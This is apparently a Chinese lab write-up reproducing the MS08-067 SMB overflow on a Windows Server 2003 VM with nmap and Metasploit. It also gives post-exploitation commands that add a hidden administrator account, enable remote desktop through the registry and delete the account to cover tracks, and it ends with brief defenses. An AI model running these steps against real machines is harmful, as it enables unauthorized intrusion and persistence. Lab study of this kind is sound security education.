1. 漏洞背景
1.1 漏洞概述
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。
1.2 漏洞原理
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NetPathCanonicalize()
函数时触发的。NetPathCanonicalize()
函数在远程访问其它主机时,会调用NetpwPathCanonicalize()
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize()
函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。
所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。
在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。
详细请看:
https://www.cnblogs.com/justforfun12/p/5239941.html
https://bbs.pediy.com/thread-251219.htm
https://www.freebuf.com/vuls/203881.html
1.3 影响范围
它影响了某些旧版本的Windows系统,包括:Windows 2000 、Windows XP 、Windows Server 2003。
2. 前置知识
2.1 常见的端口
黑客通过端口可以做信息收集、目标探测、服务判断、系统判断、角色分析。
2.2 445端口
135、137、138、139和445端口都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。
445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!
总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest 帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。
3. 漏洞复现
3.1 环境配置
攻击机:Kali Linux x64(IP地址:192.168.193.128)
靶机:Windows Server 2003 x86 企业版(IP地址:192.168.193.132)
利用工具:MSF
3.2 复现准备
打开Windows Server 2003,确定445端口开启:
1 | netstat -an |
关闭Win 2003系统的防火墙:
3.3 复现过程
利用nmap扫描靶机的端口及确认该漏洞是否存在。
1 | nmap -n -p 445 --script smb-vuln-ms08-067 192.168.193.132 --open |
- -n:不要进行DNS解析
- -p:后接端口号
- —script:使用脚本进行扫描
- —open:仅显示打开(或可能打开)的端口
nmap漏扫脚本目录默认为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示漏洞存在且可以利用。
当然,我们一开始肯定不知道这么多信息,还不会用这么长的命令,那我们可以先确定靶机开放的端口和版本号。
1 | nmap -sV -Pn 192.168.193.132 |
- -sV:探测打开的端口以确定服务/版本信息
- -Pn:将所有主机视为在线,也就是跳过主机发现
做安全行业的,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。要是实在不知道,那我们还可以查百度嘛。
进入MSF,搜索MS08-067,这些步骤都在 CVE-2019-0708 都讲过,不再赘述。
1 | msfconsole |
查找到一个漏洞利用模块。
1 | use exploit/windows/smb/ms08_067_netapi |
查看选项,缺少rhosts,所以要设置靶机IP。
1 | set rhosts 192.168.193.132 |
查看目标,找到与靶机匹配的信息。刚才我们已经用nmap -sV知道靶机是Windows Server 2003系统,但还是不知道具体信息(所以这种情况怎么才能知道具体信息?)。由于我知道靶机是Win 2003 SP2的,所以直接选目标74,如果实在没有更多信息那设置为自动目标(0)就好。
1 | set target 74 |
成功控制住靶机。我们可以用Linux或Windows窗口命令查看靶机的基本信息。
1 | ipconfig/ifconfig #查看IP地址 |
后来做了set target 0的实验,MSF会自动检测系统版本并选择目标,但它默认选择English版本,这可能是没有成功建立会话的原因之一。
此时将它修改为74也不行了,提示我们“这很可能意味着先前的攻击尝试导致服务崩溃”。
如果多run几次还会导致Win 2003系统内存溢出错误。
这种情况好像只能等靶机重新开机,才能利用前几次攻击失败的经验继续渗透。
3.3.1 创建文件
尝试在靶机上创建文件夹和文件。
1 | mkdir hacker |
3.3.2 创建用户
Windows DOM用户常用命令如下:
- net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员 - net user abcd /del
将用户名为abcd的用户删除 - net user abcd /active:no
将用户名为abcd的用户禁用 - net user abcd /active:yes
激活用户名为abcd的用户 - net user abcd
查看用户名为abcd的用户的情况 - net localgroup administrators abcd /add
将abcd账户给予管理员权限
创建一个名为v5le0n9,密码为123456的普通用户,给予管理员权限。
1 | net user v5le0n9 123456 /add #增加普通用户 |
在Win 2003中能看到新创建了一个用户v5le0n9。
1 | echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat # 开启远程连接 |
开启远程连接3389端口,使用Kali远程登录靶机。
最后一定要把我们新建的用户名删除,假装没来过。
1 | net user v5le0n9 /del |
虽然不能远程登录了,但靶机C:\Documents and Settings
目录下还是有v5le0n9文件夹,怎么删不掉呢?!
4. 防御方法
- 关闭相关端口、安装杀毒软件和补丁
- 在防火墙中进行流量监测,主要是针对数据包中存在的形如“\ ** \ … \ … \ *”这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配